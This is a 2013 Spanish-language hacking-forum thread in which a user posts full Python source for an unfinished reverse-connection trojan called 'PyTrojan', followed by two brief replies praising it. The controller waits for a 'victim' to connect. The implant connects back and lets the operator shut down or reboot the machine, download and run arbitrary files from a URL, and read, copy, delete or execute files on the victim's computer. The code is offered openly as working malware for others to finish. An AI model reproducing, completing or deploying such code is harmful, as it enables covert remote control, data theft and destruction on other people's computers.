Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: 177600531 en 22 Agosto 2013, 02:55 am



Título: [Python] Troyano
Publicado por: 177600531 en 22 Agosto 2013, 02:55 am
Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.

Cliente:
Código
  1. # -*- coding: utf-8 -*-
  2.  
  3. ##########################################
  4. ##                                      ##
  5. ##      PyTrojan                ##
  6. ##      By Proxy                   ##
  7. ## Fecha Inicio: 28/04/13         ##
  8. ## Fecha Fin: ../../..           ##
  9. ## Client                       ##
  10. ##                                      ##
  11. ##########################################
  12.  
  13. import socket
  14. import os
  15. import time
  16.  
  17. #Limpiamos Pantalla
  18. def cls():
  19. os.system(['clear','cls'][os.name == 'nt'])
  20.  
  21. #Imprimimos Cabecera
  22. def Cabecera():
  23.    print '              ****************************************************'
  24.    print '              ****                                            ****'
  25.    print '              ****      PyTrojan v1.0 Beta                    ****'
  26.    print '              ****                                            ****'
  27.    print '              ****************************************************'
  28.  
  29. #Imprimimos Opciones
  30. def Opcionestop():
  31. print '              ****************************************************'
  32. print '              ****      Opciones                              ****'
  33. print '              ****************************************************'
  34. print '              ****                                            ****'
  35. print '              ****      1) Apagar Equipo                      ****'
  36. print '              ****      ________________________              ****'
  37. print '              ****      2) Reiniciar Equipo                   ****'
  38. print '              ****      ________________________              ****'
  39. print '              ****      3) Downloader                         ****'
  40. print '              ****      ________________________              ****'
  41. print '              ****      4) Localizador IP                     ****'
  42. print '              ****      ________________________              ****'
  43. print '              ****      5) Limpiar Pantalla                   ****'
  44. print '              ****      ________________________              ****'
  45. print '              ****      6) Consola                            ****'
  46. print '              ****      ________________________              ****'
  47. print '              ****      7) Desconectar                        ****'
  48. print '              ****      ________________________              ****'
  49. print '              ****      8) Desconectar                        ****'
  50. print '              ****      ________________________              ****'
  51. print '              ****      9) Apagar Servidor                    ****'
  52. print '              ****      ________________________              ****'
  53. print '              ****      10) Salir                             ****'
  54. print '              ****      ________________________              ****'
  55. print '              ****                                            ****'
  56. print '              ****************************************************'
  57.  
  58. #Consola de Comandos
  59. def Consola(s, sc):
  60. time.sleep(1)
  61. def Menuopc():
  62. print '\nHELP:            Muestra la lista de comandos de la consola'
  63. print 'DEL:             Elimina el archivo marcado'
  64. print 'XDEL:            Elimina la carpeta marcada'
  65. print 'COPY:            Copia un archivo a otra directorio'
  66. print 'READ:            Abre el archivo en la consola'
  67. print 'OPEN:            Ejecuta un archivo'
  68. print 'WANT:            Busca en todos los archivo con extension a elegir'
  69. print 'DIR:             Muestra el directorio actual'
  70. print 'CD:              Cambia de directorio al directorio seleccionado'
  71. print 'EXIT:            Salir de la consola de comandos\n'
  72. Menuopc()
  73. while True:
  74. opconsola = raw_input('>>> ')
  75. if opconsola == 'help':
  76. Menuopc()
  77. elif opconsola.startswith('del') == True:
  78. time.sleep(1)
  79. ruta1 = opconsola[:3]
  80. ruta2 = opconsola[4:]
  81. while ruta1 and ruta2:
  82. sc.send(ruta1)
  83. sc.send(ruta2)
  84. recibido = sc.recv(1024)
  85. print '\n' + recibido + '\n'
  86. break
  87. elif opconsola.startswith('xdel') == True:
  88. time.sleep(1)
  89. ruta1 = opconsola[:4]
  90. ruta2 = opconsola[5:]
  91. while ruta1 and ruta2:
  92. sc.send(ruta1)
  93. sc.send(ruta2)
  94. recibido = sc.recv(1024)
  95. print '\n' + recibido + '\n'
  96. break
  97. elif opconsola == 'copy':
  98. time.sleep(1)
  99. ruta1 = opconsola
  100. ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
  101. ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
  102. sc.send(ruta1)
  103. sc.send(ruta2)
  104. sc.send(ruta3)
  105. recibido = sc.recv(1024)
  106. print '\n' + recibido + '\n'
  107. elif opconsola.startswith('read') == True:
  108. time.sleep(1)
  109. ruta1 = opconsola[:4]
  110. ruta2 = opconsola[5:]
  111. while ruta1 and ruta2:
  112. sc.send(ruta1)
  113. sc.send(ruta2)
  114. recibido = sc.recv(100000000)
  115. print '\n' + recibido + '\n'
  116. break
  117. elif opconsola.startswith('open') == True:
  118. time.sleep(1)
  119. ruta1 = opconsola[:4]
  120. ruta2 = opconsola[5:]
  121. while ruta1 and ruta2:
  122. sc.send(ruta1)
  123. sc.send(ruta2)
  124. recibido = sc.recv(1024)
  125. print '\n' + recibido + '\n'
  126. break
  127. elif opconsola.startswith('want') == True:
  128. time.sleep(1)
  129. ruta1 = opconsola[:4]
  130. ruta2 = opconsola[5:]
  131. while ruta1 and ruta2:
  132. sc.send(ruta1)
  133. sc.send(ruta2)
  134. recibido = sc.recv(100000000)
  135. print '\n' + recibido + '\n'
  136. break
  137. elif opconsola == 'dir':
  138. time.sleep(1)
  139. sc.send(opconsola)
  140. recibido = sc.recv(100000000)
  141. print '\n' + recibido + '\n'
  142. elif opconsola.startswith('cd') == True:
  143. time.sleep(1)
  144. ruta1 = opconsola[:2]
  145. ruta2 = opconsola[3:]
  146. while ruta1 and ruta2:
  147. sc.send(ruta1)
  148. sc.send(ruta2)
  149. recibido = sc.recv(1024)
  150. print '\n' + recibido + '\n'
  151. break
  152. elif opconsola == 'exit':
  153. time.sleep(1)
  154. sc.send(opconsola)
  155. print '\nHas salido de la consola...\n'
  156. break
  157.  
  158. #Opciones despues de conectar
  159. def Opciones(s, sc, addr):
  160. cls()
  161. orden = ''
  162. while orden != '10':
  163. Opcionestop()
  164. while True:
  165. orden = raw_input('>>> ')
  166. if orden == '1': #Apaga Equipo
  167. try:
  168. sc.send('apagar')
  169. print sc.recv(1024)
  170. except:
  171. print 'El servidor esta desconectado...'
  172. elif orden == '2': #Reinicia Equipo
  173. try:
  174. sc.send('reiniciar')
  175. print sc.recv(1024)
  176. except:
  177. print 'El servidor esta desconectado...'
  178. elif orden == '3': #Downloader
  179. try:
  180. direccion = raw_input('Introduce la direccion >>> ')
  181. time.sleep(1)
  182. nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
  183. time.sleep(1)
  184. sc.send('downloader')
  185. time.sleep(1)
  186. sc.send(direccion)
  187. sc.send(nomarch)
  188. time.sleep(1)
  189. vari = sc.recv(1024)
  190. print vari
  191. except:
  192. print 'El servidor esta desconectado...'
  193. else:
  194. try:
  195. while vari == 'Archivo descargado con exito...':
  196. ejecutar = ''
  197. while ejecutar != 'si' and ejecutar != 'no':
  198. ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
  199. if ejecutar == 'si':
  200. sc.send('si')
  201. print sc.recv(1024)
  202. elif ejecutar == 'no':
  203. sc.send('no')
  204. else:
  205. print 'Introduce si o no...'
  206. else:
  207. break
  208. else:
  209. pass
  210. except:
  211. print 'Ha ocurrido un error...'
  212. elif orden == '4': #Localiza IP
  213. try:
  214. sc.send('localizadorip')
  215. iploc = addr[0]
  216. sc.send(iploc)
  217. print sc.recv(1024)
  218. except:
  219. print 'El servidor esta desconectado...'
  220. elif orden == '5': #Limpia la Pantalla
  221. time.sleep(1)
  222. cls()
  223. Opcionestop()
  224. elif orden == '6':
  225. try:
  226. sc.send('consola')
  227. Consola(s, sc)
  228. except:
  229. print 'El servidor esta desconectado...'
  230. elif orden == '7':
  231. print 'hello'
  232. elif orden == '8':
  233. print 'hello'
  234. elif orden == '9': #Apaga Servidor
  235. try:
  236. sc.send('desconectar')
  237. print sc.recv(1024)
  238. except:
  239. print 'El servidor esta desconectado...'
  240. elif orden == '10':
  241. print 'Te has desconectado...'
  242. break
  243. else:
  244. print '%s No se reconoce como un comando' % orden
  245.  
  246.  
  247. #Menu
  248. def Menu():
  249.    opcion = ''
  250.    while opcion != '1' and opcion != '2':
  251.     cls()
  252.     Cabecera()
  253.     print '              ****************************************************'
  254.     print '              ****                                            ****'
  255.     print '              ****      1) Esperar Conexiones                 ****'
  256.     print '              ****      2) Salir                              ****'
  257.     print '              ****                                            ****'
  258.     print '              ****************************************************\n'
  259.     opcion = raw_input('>>> ')
  260.    if opcion == '1':
  261.     cls()
  262.     print '              ****************************************************'
  263.     print '              ****                                            ****'
  264.     print '              ****      Esperando Conexiones...               ****'
  265.     print '              ****                                            ****'
  266.     print '              ****************************************************'
  267.     host = ''
  268.     port = 9999
  269.     try:
  270.            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  271.            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  272.            s.bind((host, port))
  273.            s.listen(3)
  274.            sc, addr = s.accept()
  275.     except:
  276.     cls()
  277.     print '              ****************************************************'
  278.     print '              ****                                            ****'
  279.     print '              ****      Ocurrio un problema...                ****'
  280.     print '              ****                                            ****'
  281.     print '              ****************************************************'
  282.     raw_input()
  283.     else:
  284.     cls()
  285.     print '              ****************************************************'
  286.     print '              ****                                            ****'
  287.     print '              ****      Victima                               ****'
  288.     print '              ****                                            ****'
  289.     print '              ****************************************************\n'
  290.     print 'Se ha establecido la conexion con...', addr[0]
  291.     raw_input()
  292.     Opciones(s, sc, addr)
  293.    elif opcion == '2':
  294.     cls()
  295.     print '              ****************************************************'
  296.     print '              ****                                            ****'
  297.     print '              ****      Gracias por usar PyTrojan             ****'
  298.     print '              ****                                            ****'
  299.     print '              ****************************************************'
  300.     raw_input()
  301.  
  302. cls()
  303. Menu()

Servidor:
Código
  1. ##########################################
  2. ##                                      ##
  3. ##      PyTrojan                ##
  4. ##      By Proxy                   ##
  5. ## Fecha Inicio: 28/04/13         ##
  6. ## Fecha Fin: ../../..           ##
  7. ## Server                       ##
  8. ##                                      ##
  9. ##########################################
  10.  
  11. import socket
  12. import time
  13. import os
  14. import urllib
  15. import shutil
  16. import glob
  17.  
  18. #Consola de Comandos
  19. def Consola(s):
  20. while True:
  21. opconsola = s.recv(1024)
  22. if opconsola == 'del':
  23. ruta = s.recv(1024)
  24. try:
  25. os.remove(ruta)
  26. s.send('El archivo ha sido eliminado con exito...')
  27. except:
  28. s.send('El archivo no ha podido ser eliminado...')
  29. elif opconsola == 'xdel':
  30. ruta = s.recv(1024)
  31. try:
  32. shutil.rmtree(ruta)
  33. s.send('La carpeta ha sido eliminada...')
  34. except:
  35. s.send('La carpeta no ha podido ser eliminada...')
  36. elif opconsola == 'copy':
  37. ruta1 = s.recv(1024)
  38. ruta2 = s.recv(1024)
  39. try:
  40. shutil.copy(ruta1, ruta2)
  41. s.send('El archivo ha sido copiado...')
  42. except:
  43. s.send('El archivo no ha sido copiado...')
  44. elif opconsola == 'read':
  45. ruta = s.recv(1024)
  46. try:
  47. arch = open(ruta, 'r')
  48. line = arch.readline()
  49. while line != '':
  50. s.send(line)
  51. line = arch.readline()
  52. except:
  53. s.send('El archivo no ha podido ser abierto...')
  54. elif opconsola == 'open':
  55. ruta = s.recv(1024)
  56. try:
  57. os.startfile(ruta)
  58. s.send('Archivo ejecutado con exito...')
  59. except:
  60. s.send('El archivo no ha podido ser ejecutado...')
  61. elif opconsola == 'want':
  62. ruta = s.recv(1024)
  63. try:
  64. lista = glob.glob('*' + ruta)
  65. joinlistar = '\n'.join(lista)
  66. s.send(joinlistar)
  67. except:
  68. s.send('Ha ocurrido un error...')
  69. else:
  70. s.send('\n.')
  71. elif opconsola == 'dir':
  72. try:
  73. listardirectorio = os.listdir('.')
  74. joinlistardire = '\n'.join(listardirectorio)
  75. s.send(joinlistardire)
  76. except:
  77. s.send('Ha ocurrido un error...')
  78. elif opconsola == 'cd':
  79. ruta = s.recv(1024)
  80. try:
  81. os.chdir(ruta)
  82. s.send(os.getcwd())
  83. except:
  84. s.send('No se puede encontrar la ruta especificada...')
  85. elif opconsola == 'exit':
  86. break
  87.  
  88. #Conexion con el cliente
  89. def conexion():
  90. host = 'localhost'
  91. port = 9999
  92. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  93. s.connect((host, port))
  94. while True:
  95. recibido = s.recv(1024)
  96. if recibido == 'apagar': #Apaga Equipo
  97. time.sleep(1)
  98. s.send('El equipo se esta apagando...')
  99. os.system('shutdown -s -f -t 0')
  100. elif recibido == 'reiniciar': #Reinicia Equipo
  101. time.sleep(1)
  102. s.send('El equipo se esta reiniciando...')
  103. os.system('shutdown -r -f -t 0')
  104. elif recibido == 'downloader': #Downloader
  105. time.sleep(1)
  106. try:
  107. direccion = s.recv(1024)
  108. nomarch = s.recv(1024)
  109. urllib.urlretrieve(direccion, nomarch, reporthook=None)
  110. except:
  111. s.send('Ha ocurrido un error...')
  112. else:
  113. s.send('Archivo descargado con exito...')
  114. try:
  115. ejecutar = s.recv(1024)
  116. if ejecutar == 'si':
  117. os.startfile(nomarch)
  118. elif ejecutar == 'no':
  119. continue
  120. except:
  121. s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
  122. else:
  123. s.send('Archivo ejecutado con exito...')
  124. elif recibido == 'localizadorip': #Localiza IP
  125. try:
  126. time.sleep(1)
  127. iploc = s.recv(1024)
  128. ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
  129. response = urllib.urlopen(ipaddr).read()
  130. except:
  131. s.send('Ha ocurrido un error...')
  132. else:
  133. s.send(response)
  134. elif recibido == 'consola': #Consola de Comandos
  135. time.sleep(1)
  136. Consola(s)
  137. elif recibido == 'desconectar': #Apaga Servidor
  138. time.sleep(1)
  139. s.send('Servidor apagado correctamente...')
  140. s.close()
  141. break
  142. else:
  143. conexion()
  144.  
  145. #Reintentamos conexion si el cliente se ha desconectado
  146. while True:
  147. time.sleep(3)
  148. try:
  149. conexion()
  150. except:
  151. pass
  152. else:
  153. break


Título: Re: [Python] Troyano
Publicado por: AdeLax en 12 Septiembre 2013, 14:32 pm
Por una parte, te e ayudado en este proyecto  jajaja.

Muy buen proyecto, sigue así !!!  :D


Título: Re: [Python] Troyano
Publicado por: F3niX14 en 22 Septiembre 2013, 06:20 am
Lastima que no lo termines.